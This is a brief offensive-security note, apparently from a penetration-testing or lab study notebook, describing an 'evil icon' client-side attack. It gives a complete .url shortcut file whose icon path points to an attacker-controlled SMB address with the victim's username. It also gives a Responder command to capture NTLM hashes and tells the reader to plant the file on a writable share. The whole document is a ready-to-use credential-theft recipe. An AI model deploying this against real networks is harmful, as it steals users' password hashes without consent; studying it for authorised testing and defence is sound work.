🧪

Client Side Attacks Evil Icon

Create a new file called pwned.url

#cool#adot8

Evil Icon

Create a new file called pwned.url

code

01[InternetShortcut]
02URL=pwned
03WorkingDirectory=pwned
04IconFile=\\192.168.45.233\%USERNAME%.icon
05IconIndex=1

Spin up Responder in analyze mode

code

01sudo responder -I tun0 -A

Upload to READ/WRITE smb share and wait for someone to open the share... hashes will fly